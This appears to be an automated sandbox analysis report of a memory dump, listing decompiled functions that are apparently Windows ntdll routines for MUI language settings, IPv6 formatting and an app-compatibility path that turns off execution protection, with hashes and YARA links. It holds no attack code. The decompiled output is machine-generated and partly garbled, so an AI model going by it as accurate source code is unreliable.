Function 008EFE24, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e7bb4dc02deca6488bcbd727a6b6eb413310111d5b181e4d110d688bd4fe620
Instruction ID: 4523e9276363b51c29093556ee00c3605be97a6a096d126b10744d78506899f7
Opcode Fuzzy Hash: 2e7bb4dc02deca6488bcbd727a6b6eb413310111d5b181e4d110d688bd4fe620
Instruction Fuzzy Hash: E7B012B2104580C7E31A9714D906B4B7210FB80F00F40893AA00B81861DB389A2CD456

Uniqueness

Uniqueness Score: -1.00%

Function 008EFFFC, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 975dfa9cf9b8080f9d0320802deb543160739c3189efc7d7e2a617800603798d
Instruction ID: 5af6445773ea8696aa9cd62fdf5509cf1cb9f7b4cf56a5a77559796e3d2133fe
Opcode Fuzzy Hash: 975dfa9cf9b8080f9d0320802deb543160739c3189efc7d7e2a617800603798d
Instruction Fuzzy Hash: 07B012B2240540C7E30D9714D906B4B7250FBC0F00F00893AE10B81850DA3C993CC44B

Uniqueness

Uniqueness Score: -1.00%

Function 008EFF34, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e5e409cf338bac94f49896e83b2b8a287e5016741aed655f6c9dd643cd52d5d
Instruction ID: c0177d7ad0d10355b3c7d2619bc7f24452a3c2aab25a1a733e07692cdee9b307
Opcode Fuzzy Hash: 6e5e409cf338bac94f49896e83b2b8a287e5016741aed655f6c9dd643cd52d5d
Instruction Fuzzy Hash: B1B012B2200540C7E319D714D906F4B7210FB80F00F40893AB10B81862DB3C992CD45A

Uniqueness

Uniqueness Score: -1.00%

Function 00918788, Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 431
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00918788(signed int __ecx, void* __edx, signed int _a4) {
				signed int _v8;
				short* _v12;
				void* _v16;
				signed int _v20;
				char _v24;
				signed int _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				char _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				char _v68;
				void* _t216;
				intOrPtr _t231;
				short* _t235;
				intOrPtr _t257;
				short* _t261;
				intOrPtr _t284;
				intOrPtr _t288;
				void* _t314;
				signed int _t318;
				short* _t319;
				intOrPtr _t321;
				void* _t328;
				void* _t329;
				char* _t332;
				signed int _t333;
				signed int* _t334;
				void* _t335;
				void* _t338;
				void* _t339;

				_t328 = __edx;
				_t322 = __ecx;
				_t318 = 0;
				_t334 = _a4;
				_v8 = 0;
				_v28 = 0;
				_v48 = 0;
				_v20 = 0;
				_v40 = 0;
				_v32 = 0;
				_v52 = 0;
				if(_t334 == 0) {
					_t329 = 0xc000000d;
					L49:
					_t334[0x11] = _v56;
					 *_t334 =  *_t334 | 0x00000800;
					_t334[0x12] = _v60;
					_t334[0x13] = _v28;
					_t334[0x17] = _v20;
					_t334[0x16] = _v48;
					_t334[0x18] = _v40;
					_t334[0x14] = _v32;
					_t334[0x15] = _v52;
					return _t329;
				}
				_v56 = 0;
				if(E00918460(__ecx, L"WindowsExcludedProcs",  &_v44,  &_v24,  &_v8) >= 0) {
					_v56 = 1;
					if(_v8 != 0) {
						_t207 = E008FE025(__ecx,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 0, _v8);
					}
					_push(1);
					_v8 = _t318;
					E0091718A(_t207);
					_t335 = _t335 + 4;
				}
				_v60 = _v60 | 0xffffffff;
				if(E00918460(_t322, L"Kernel-MUI-Number-Allowed",  &_v44,  &_v24,  &_v8) >= 0) {
					_t333 =  *_v8;
					_v60 = _t333;
					_t314 = E008FE025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v8);
					_push(_t333);
					_v8 = _t318;
					E0091718A(_t314);
					_t335 = _t335 + 4;
				}
				_t216 = E00918460(_t322, L"Kernel-MUI-Language-Allowed",  &_v44,  &_v24,  &_v8);
				_t332 = ";";
				if(_t216 < 0) {
					L17:
					if(E00918460(_t322, L"Kernel-MUI-Language-Disallowed",  &_v44,  &_v24,  &_v8) < 0) {
						L30:
						if(E00918460(_t322, L"Kernel-MUI-Language-SKU",  &_v44,  &_v24,  &_v8) < 0) {
							L46:
							_t329 = 0;
							L47:
							if(_v8 != _t318) {
								E008FE025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v8);
							}
							if(_v28 != _t318) {
								if(_v20 != _t318) {
									E008FE025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v20);
									_v20 = _t318;
									_v40 = _t318;
								}
							}
							goto L49;
						}
						_t231 = _v24;
						_t322 = _t231 + 4;
						_push(_t231);
						_v52 = _t322;
						E0091718A(_t231);
						if(_t322 == _t318) {
							_v32 = _t318;
						} else {
							_v32 = E008FE0C6( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 8, _t322);
						}
						if(_v32 == _t318) {
							_v52 = _t318;
							L58:
							_t329 = 0xc0000017;
							goto L47;
						} else {
							E008F2340(_v32, _v8, _v24);
							_v16 = _v32;
							_a4 = _t318;
							_t235 = E0090E679(_v32, _t332);
							while(1) {
								_t319 = _t235;
								if(_t319 == 0) {
									break;
								}
								 *_t319 = 0;
								_t321 = _t319 + 2;
								E008FE2A8(_t322,  &_v68, _v16);
								if(E00915553(_t328,  &_v68,  &_v36) != 0) {
									_a4 = _a4 + 1;
								}
								_v16 = _t321;
								_t235 = E0090E679(_t321, _t332);
								_pop(_t322);
							}
							_t236 = _v16;
							if( *_v16 != _t319) {
								E008FE2A8(_t322,  &_v68, _t236);
								if(E00915553(_t328,  &_v68,  &_v36) != 0) {
									_a4 = _a4 + 1;
								}
							}
							if(_a4 == 0) {
								E008FE025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 0, _v32);
								_v52 = _v52 & 0x00000000;
								_v32 = _v32 & 0x00000000;
							}
							if(_v8 != 0) {
								E008FE025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 0, _v8);
							}
							_v8 = _v8 & 0x00000000;
							_t318 = 0;
							goto L46;
						}
					}
					_t257 = _v24;
					_t322 = _t257 + 4;
					_push(_t257);
					_v40 = _t322;
					E0091718A(_t257);
					_t338 = _t335 + 4;
					if(_t322 == _t318) {
						_v20 = _t318;
					} else {
						_v20 = E008FE0C6( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 8, _t322);
					}
					if(_v20 == _t318) {
						_v40 = _t318;
						goto L58;
					} else {
						E008F2340(_v20, _v8, _v24);
						_v16 = _v20;
						_a4 = _t318;
						_t261 = E0090E679(_v20, _t332);
						_t335 = _t338 + 0x14;
						while(1) {
							_v12 = _t261;
							if(_t261 == _t318) {
								break;
							}
							_v12 = _v12 + 2;
							 *_v12 = 0;
							E008FE2A8(_v12,  &_v68, _v16);
							if(E00915553(_t328,  &_v68,  &_v36) != 0) {
								_a4 = _a4 + 1;
							}
							_v16 = _v12;
							_t261 = E0090E679(_v12, _t332);
							_pop(_t322);
						}
						_t269 = _v16;
						if( *_v16 != _t318) {
							E008FE2A8(_t322,  &_v68, _t269);
							if(E00915553(_t328,  &_v68,  &_v36) != 0) {
								_a4 = _a4 + 1;
							}
						}
						if(_a4 == _t318) {
							E008FE025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v20);
							_v40 = _t318;
							_v20 = _t318;
						}
						if(_v8 != _t318) {
							E008FE025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v8);
						}
						_v8 = _t318;
						goto L30;
					}
				}
				_t284 = _v24;
				_t322 = _t284 + 4;
				_push(_t284);
				_v48 = _t322;
				E0091718A(_t284);
				_t339 = _t335 + 4;
				if(_t322 == _t318) {
					_v28 = _t318;
				} else {
					_v28 = E008FE0C6( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 8, _t322);
				}
				if(_v28 == _t318) {
					_v48 = _t318;
					goto L58;
				} else {
					E008F2340(_v28, _v8, _v24);
					_v16 = _v28;
					_a4 = _t318;
					_t288 = E0090E679(_v28, _t332);
					_t335 = _t339 + 0x14;
					while(1) {
						_v12 = _t288;
						if(_t288 == _t318) {
							break;
						}
						_v12 = _v12 + 2;
						 *_v12 = 0;
						E008FE2A8(_v12,  &_v68, _v16);
						if(E00915553(_t328,  &_v68,  &_v36) != 0) {
							_a4 = _a4 + 1;
						}
						_v16 = _v12;
						_t288 = E0090E679(_v12, _t332);
						_pop(_t322);
					}
					_t296 = _v16;
					if( *_v16 != _t318) {
						E008FE2A8(_t322,  &_v68, _t296);
						if(E00915553(_t328,  &_v68,  &_v36) != 0) {
							_a4 = _a4 + 1;
						}
					}
					if(_a4 == _t318) {
						E008FE025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v28);
						_v48 = _t318;
						_v28 = _t318;
					}
					if(_v8 != _t318) {
						E008FE025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v8);
					}
					_v8 = _t318;
					goto L17;
				}
			}

0x00918788
0x00918788
0x00918791
0x00918794
0x00918798
0x0091879b
0x0091879e
0x009187a1
0x009187a4
0x009187a7
0x009187aa
0x009187af
0x00961ad3
0x00918b0a
0x00918b0d
0x00918b13
0x00918b19
0x00918b1f
0x00918b25
0x00918b2b
0x00918b31
0x00918b37
0x00918b3d
0x00918b46
0x00918b46
0x009187c6
0x009187d0
0x00961ae0
0x00961ae6
0x00961af8
0x00961af8
0x00961afd
0x00961afe
0x00961b01
0x00961b06
0x00961b06
0x009187d6
0x009187f2
0x009187f7
0x00918807
0x0091880a
0x0091880f
0x00918810
0x00918813
0x00918818
0x00918818
0x0091882c
0x00918831
0x00918838
0x00918908
0x00918920
0x009189f0
0x00918a08
0x00918af6
0x00918af6
0x00918af8
0x00918afb
0x00961beb
0x00961beb
0x00918b04
0x00961bf8
0x00961c0e
0x00961c13
0x00961c16
0x00961c16
0x00961bf8
0x00000000
0x00918b04
0x00918a0e
0x00918a11
0x00918a14
0x00918a15
0x00918a18
0x00918a22
0x00918b59
0x00918a28
0x00918a3c
0x00918a3c
0x00918a42
0x00961bb0
0x00961b11
0x00961b11
0x00000000
0x00918a48
0x00918a51
0x00918a5b
0x00918a5e
0x00918a61
0x00918a69
0x00918a69
0x00918a6d
0x00000000
0x00000000
0x00918a74
0x00918a7c
0x00918a7d
0x00918a91
0x00918a93
0x00918a93
0x00918a98
0x00918a9b
0x00918aa1
0x00918aa1
0x00918aa4
0x00918aaa
0x00918ab1
0x00918ac5
0x00918ac7
0x00918ac7
0x00918ac5
0x00918ace
0x00961bc9
0x00961bce
0x00961bd2
0x00961bd2
0x00918ad8
0x00918aeb
0x00918aeb
0x00918af0
0x00918af4
0x00000000
0x00918af4
0x00918a42
0x00918926
0x00918929
0x0091892c
0x0091892d
0x00918930
0x00918935
0x0091893a
0x00918b51
0x00918940
0x00918954
0x00918954
0x0091895a
0x00961b63
0x00000000
0x00918960
0x00918969
0x00918973
0x00918976
0x00918979
0x0091897e
0x00918981
0x00918981
0x00918986
0x00000000
0x00000000
0x00961b6e
0x00961b74
0x00961b7b
0x00961b8f
0x00961b91
0x00961b91
0x00961b99
0x00961b9c
0x00961ba2
0x00961ba2
0x0091898c
0x00918992
0x00918999
0x009189ad
0x00961ba8
0x00961ba8
0x009189ad
0x009189b6
0x009189c8
0x009189cd
0x009189d0
0x009189d0
0x009189d6
0x009189e8
0x009189e8
0x009189ed
0x00000000
0x009189ed
0x0091895a
0x0091883e
0x00918841
0x00918844
0x00918845
0x00918848
0x0091884d
0x00918852
0x00918b49
0x00918858
0x0091886c
0x0091886c
0x00918872
0x00961b0e
0x00000000
0x00918878
0x00918881
0x0091888b
0x0091888e
0x00918891
0x00918896
0x00918899
0x00918899
0x0091889e
0x00000000
0x00000000
0x00961b21
0x00961b27
0x00961b2e
0x00961b42
0x00961b44
0x00961b44
0x00961b4c
0x00961b4f
0x00961b55
0x00961b55
0x009188a4
0x009188aa
0x009188b1
0x009188c5
0x00961b5b
0x00961b5b
0x009188c5
0x009188ce
0x009188e0
0x009188e5
0x009188e8
0x009188e8
0x009188ee
0x00918900
0x00918900
0x00918905
0x00000000
0x00918905

APIs

_wcspbrk.LIBCMT ref: 00918891
_wcspbrk.LIBCMT ref: 00918979
_wcspbrk.LIBCMT ref: 00918A61
_wcspbrk.LIBCMT ref: 00918A9B
_wcspbrk.LIBCMT ref: 00961B9C

Strings

Kernel-MUI-Language-Disallowed, xrefs: 00918914
Kernel-MUI-Number-Allowed, xrefs: 009187E6
Kernel-MUI-Language-SKU, xrefs: 009189FC
WindowsExcludedProcs, xrefs: 009187C1
Kernel-MUI-Language-Allowed, xrefs: 00918827

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID: _wcspbrk
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 402402107-258546922
Opcode ID: 0a4928db8339da798c7775e4f85d33b3514673e12341860821db48d8220353da
Instruction ID: 5f4a310b4fe10cd2cc64cf15b2fbca81fbc30a2834e37441c045b86495b87b23
Opcode Fuzzy Hash: 0a4928db8339da798c7775e4f85d33b3514673e12341860821db48d8220353da
Instruction Fuzzy Hash: 09F1EBB1D0020DEFCF11DFA9C981AEEB7B8FF48300F15446AE505A7261EB359A85DB61

Uniqueness

Uniqueness Score: -1.00%

Function 009313CB, Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 38%

			E009313CB(intOrPtr* _a4, intOrPtr _a8) {
				char _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				intOrPtr _v20;
				char _v24;
				intOrPtr _t71;
				signed int _t78;
				signed int _t86;
				char _t90;
				signed int _t91;
				signed int _t96;
				intOrPtr _t108;
				signed int _t114;
				void* _t115;
				intOrPtr _t128;
				intOrPtr* _t129;
				void* _t130;

				_t129 = _a4;
				_t128 = _a8;
				_t116 = 0;
				_t71 = _t128 + 0x5c;
				_v8 = 8;
				_v20 = _t71;
				if( *_t129 == 0) {
					if( *((intOrPtr*)(_t129 + 2)) != 0 ||  *((intOrPtr*)(_t129 + 4)) != 0 ||  *((intOrPtr*)(_t129 + 6)) != 0 ||  *(_t129 + 0xc) == 0) {
						goto L5;
					} else {
						_t96 =  *(_t129 + 8) & 0x0000ffff;
						if(_t96 != 0) {
							L38:
							if(_t96 != 0xffff ||  *(_t129 + 0xa) != _t116) {
								goto L5;
							} else {
								_push( *(_t129 + 0xf) & 0x000000ff);
								_push( *(_t129 + 0xe) & 0x000000ff);
								_push( *(_t129 + 0xd) & 0x000000ff);
								_t86 = E00927707(_t128, _t71 - _t128 >> 1, L"::ffff:0:%u.%u.%u.%u",  *(_t129 + 0xc) & 0x000000ff);
								L36:
								return _t128 + _t86 * 2;
							}
						}
						_t114 =  *(_t129 + 0xa) & 0x0000ffff;
						if(_t114 == 0) {
							L33:
							_t115 = 0x8f2926;
							L35:
							_push( *(_t129 + 0xf) & 0x000000ff);
							_push( *(_t129 + 0xe) & 0x000000ff);
							_push( *(_t129 + 0xd) & 0x000000ff);
							_push( *(_t129 + 0xc) & 0x000000ff);
							_t86 = E00927707(_t128, _t71 - _t128 >> 1, L"::%hs%u.%u.%u.%u", _t115);
							goto L36;
						}
						if(_t114 != 0xffff) {
							_t116 = 0;
							goto L38;
						}
						if(_t114 != 0) {
							_t115 = 0x8f9cac;
							goto L35;
						}
						goto L33;
					}
				} else {
					L5:
					_a8 = _t116;
					_a4 = _t116;
					_v12 = _t116;
					if(( *(_t129 + 8) & 0x0000fffd) == 0) {
						if( *(_t129 + 0xa) == 0xfe5e) {
							_v8 = 6;
						}
					}
					_t90 = _v8;
					if(_t90 <= _t116) {
						L11:
						if(_a8 - _a4 <= 1) {
							_a8 = _t116;
							_a4 = _t116;
						}
						_t91 = 0;
						if(_v8 <= _t116) {
							L22:
							if(_v8 < 8) {
								_push( *(_t129 + 0xf) & 0x000000ff);
								_push( *(_t129 + 0xe) & 0x000000ff);
								_push( *(_t129 + 0xd) & 0x000000ff);
								_t128 = _t128 + E00927707(_t128, _t71 - _t128 >> 1, L":%u.%u.%u.%u",  *(_t129 + 0xc) & 0x000000ff) * 2;
							}
							return _t128;
						} else {
							L14:
							L14:
							if(_a4 > _t91 || _t91 >= _a8) {
								if(_t91 != _t116 && _t91 != _a8) {
									_push(":");
									_push(_t71 - _t128 >> 1);
									_push(_t128);
									_t128 = _t128 + E00927707() * 2;
									_t71 = _v20;
									_t130 = _t130 + 0xc;
								}
								_t78 = E00927707(_t128, _t71 - _t128 >> 1, L"%x",  *(_t129 + _t91 * 2) & 0x0000ffff);
								_t130 = _t130 + 0x10;
							} else {
								_push(L"::");
								_push(_t71 - _t128 >> 1);
								_push(_t128);
								_t78 = E00927707();
								_t130 = _t130 + 0xc;
								_t91 = _a8 - 1;
							}
							_t91 = _t91 + 1;
							_t128 = _t128 + _t78 * 2;
							_t71 = _v20;
							if(_t91 >= _v8) {
								goto L22;
							}
							_t116 = 0;
							goto L14;
						}
					} else {
						_t108 = 1;
						_v16 = _t129;
						_v24 = _t90;
						do {
							if( *_v16 == _t116) {
								if(_t108 - _v12 > _a8 - _a4) {
									_a4 = _v12;
									_a8 = _t108;
								}
								_t116 = 0;
							} else {
								_v12 = _t108;
							}
							_v16 = _v16 + 2;
							_t108 = _t108 + 1;
							_t26 =  &_v24;
							 *_t26 = _v24 - 1;
						} while ( *_t26 != 0);
						goto L11;
					}
				}
			}

0x009313d5
0x009313d9
0x009313dc
0x009313de
0x009313e1
0x009313e8
0x009313ee
0x0095e8fd
0x00000000
0x0095e921
0x0095e921
0x0095e928
0x0095e982
0x0095e98a
0x00000000
0x0095e99a
0x0095e99e
0x0095e9a3
0x0095e9a8
0x0095e9b9
0x0095e978
0x00000000
0x0095e978
0x0095e98a
0x0095e92a
0x0095e931
0x0095e944
0x0095e944
0x0095e950
0x0095e954
0x0095e959
0x0095e95e
0x0095e963
0x0095e970
0x00000000
0x0095e975
0x0095e93b
0x0095e980
0x00000000
0x0095e980
0x0095e942
0x0095e94b
0x00000000
0x0095e94b
0x00000000
0x0095e942
0x009313f4
0x009313f4
0x009313f9
0x009313fc
0x009313ff
0x00931406
0x0095e9cc
0x0095e9d2
0x0095e9d2
0x0095e9cc
0x0093140c
0x00931411
0x00931431
0x0093143a
0x0093143c
0x0093143f
0x0093143f
0x00931442
0x00931447
0x009314a8
0x009314ac
0x0095e9e2
0x0095e9e7
0x0095e9ec
0x0095ea05
0x0095ea05
0x00000000
0x00931449
0x00000000
0x00931449
0x0093144c
0x00931459
0x00931462
0x00931469
0x0093146a
0x00931470
0x00931473
0x00931476
0x00931476
0x00931490
0x00931495
0x0093138e
0x00931390
0x00931397
0x00931398
0x00931399
0x009313a1
0x009313a4
0x009313a4
0x00931498
0x0093149c
0x0093149f
0x009314a2
0x00000000
0x00000000
0x009314a4
0x00000000
0x009314a4
0x00931413
0x00931415
0x00931416
0x00931419
0x0093141c
0x00931422
0x009313b7
0x009313bc
0x009313bf
0x009313bf
0x009313c2
0x00931424
0x00931424
0x00931424
0x00931427
0x0093142b
0x0093142c
0x0093142c
0x0093142c
0x00000000
0x0093141c
0x00931411

APIs

___swprintf_l.LIBCMT ref: 0093146B
___swprintf_l.LIBCMT ref: 00931490
___swprintf_l.LIBCMT ref: 0095E970

Strings

ffff:, xrefs: 0095E94B
:%u.%u.%u.%u, xrefs: 0095E9F4
::%hs%u.%u.%u.%u, xrefs: 0095E967
::ffff:0:%u.%u.%u.%u, xrefs: 0095E9B0

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: 019981cb88dfd5c805da7a50bd5d1f45720beba5c1b5fe8a41d6ea64058dd138
Instruction ID: a6816f7a713f62fed6206e03f3a652450065926b3c8eaf3a75a3e473f893c736
Opcode Fuzzy Hash: 019981cb88dfd5c805da7a50bd5d1f45720beba5c1b5fe8a41d6ea64058dd138
Instruction Fuzzy Hash: 61613871904655AACF28DFA9C8908BFBBB9EF94301B14C42DF5E647660D335AB44CF60

Uniqueness

Uniqueness Score: -1.00%

Function 00927EFD, Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 127
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00927EFD(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				char _v540;
				unsigned int _v544;
				signed int _v548;
				intOrPtr _v552;
				char _v556;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t33;
				void* _t38;
				unsigned int _t46;
				unsigned int _t47;
				unsigned int _t52;
				intOrPtr _t56;
				unsigned int _t62;
				void* _t69;
				void* _t70;
				intOrPtr _t72;
				signed int _t73;
				void* _t74;
				void* _t75;
				void* _t76;
				void* _t77;

				_t33 =  *0x9d2088; // 0x77532a97
				_v8 = _t33 ^ _t73;
				_v548 = _v548 & 0x00000000;
				_t72 = _a4;
				if(E00927F4F(__ecx, _t72 + 0x2c,  &_v548) >= 0) {
					__eflags = _v548;
					if(_v548 == 0) {
						goto L1;
					}
					_t62 = _t72 + 0x24;
					E00943F92(0x55, 3, "CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions\n", _v548);
					_t71 = 0x214;
					_v544 = 0x214;
					E008FDFC0( &_v540, 0, 0x214);
					_t75 = _t74 + 0x20;
					_t46 =  *0x9d4218( *((intOrPtr*)(_t72 + 0x28)),  *((intOrPtr*)(_t72 + 0x18)),  *((intOrPtr*)(_t72 + 0x20)), L"ExecuteOptions",  &_v556,  &_v540,  &_v544, _t62);
					__eflags = _t46;
					if(_t46 == 0) {
						goto L1;
					}
					_t47 = _v544;
					__eflags = _t47;
					if(_t47 == 0) {
						goto L1;
					}
					__eflags = _t47 - 0x214;
					if(_t47 >= 0x214) {
						goto L1;
					}
					_push(_t62);
					 *((short*)(_t73 + (_t47 >> 1) * 2 - 0x21a)) = 0;
					E00943F92(0x55, 3, "CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database\n",  &_v540);
					_t52 = E00900D27( &_v540, L"Execute=1");
					_t76 = _t75 + 0x1c;
					_push(_t62);
					__eflags = _t52;
					if(_t52 == 0) {
						E00943F92(0x55, 3, "CLIENT(ntdll): Processing %ws for patching section protection for %wZ\n",  &_v540);
						_t71 =  &_v540;
						_t56 = _t73 + _v544 - 0x218;
						_t77 = _t76 + 0x14;
						_v552 = _t56;
						__eflags = _t71 - _t56;
						if(_t71 >= _t56) {
							goto L1;
						} else {
							goto L10;
						}
						while(1) {
							L10:
							_t62 = E00908375(_t71, 0x20);
							_pop(_t69);
							__eflags = _t62;
							if(__eflags != 0) {
								__eflags = 0;
								 *_t62 = 0;
							}
							E00943F92(0x55, 3, "CLIENT(ntdll): Processing section info %ws...\n", _t71);
							_t77 = _t77 + 0x10;
							E0096E8DB(_t69, _t70, __eflags, _t72, _t71);
							__eflags = _t62;
							if(_t62 == 0) {
								goto L1;
							}
							_t31 = _t62 + 2; // 0x2
							_t71 = _t31;
							__eflags = _t71 - _v552;
							if(_t71 >= _v552) {
								goto L1;
							}
						}
					}
					_push("CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ\n");
					_push(3);
					_push(0x55);
					E00943F92();
					_t38 = 1;
					L2:
					return E008FE1B4(_t38, _t62, _v8 ^ _t73, _t70, _t71, _t72);
				}
				L1:
				_t38 = 0;
				goto L2;
			}

0x00927f08
0x00927f0f
0x00927f12
0x00927f1b
0x00927f31
0x00943ead
0x00943eb4
0x00000000
0x00000000
0x00943eba
0x00943ecd
0x00943ed2
0x00943ee1
0x00943ee7
0x00943eec
0x00943f12
0x00943f18
0x00943f1a
0x00000000
0x00000000
0x00943f20
0x00943f26
0x00943f28
0x00000000
0x00000000
0x00943f2e
0x00943f30
0x00000000
0x00000000
0x00943f3a
0x00943f3b
0x00943f53
0x00943f64
0x00943f69
0x00943f6c
0x00943f6d
0x00943f6f
0x0094e304
0x0094e30f
0x0094e315
0x0094e31e
0x0094e321
0x0094e327
0x0094e329
0x00000000
0x00000000
0x00000000
0x00000000
0x0094e32f
0x0094e32f
0x0094e337
0x0094e33a
0x0094e33b
0x0094e33d
0x0094e33f
0x0094e341
0x0094e341
0x0094e34e
0x0094e353
0x0094e358
0x0094e35d
0x0094e35f
0x00000000
0x00000000
0x0094e365
0x0094e365
0x0094e368
0x0094e36e
0x00000000
0x00000000
0x0094e374
0x0094e32f
0x00943f75
0x00943f7a
0x00943f7c
0x00943f7e
0x00943f86
0x00927f39
0x00927f47
0x00927f47
0x00927f37
0x00927f37
0x00000000

APIs

BaseQueryModuleData.KERNEL32(?,00000000,00000000,ExecuteOptions,?,?,?), ref: 00943F12

Strings

CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 00943EC4
ExecuteOptions, xrefs: 00943F04
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 00943F75
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 0094E2FB
CLIENT(ntdll): Processing section info %ws..., xrefs: 0094E345
Execute=1, xrefs: 00943F5E
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 00943F4A

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
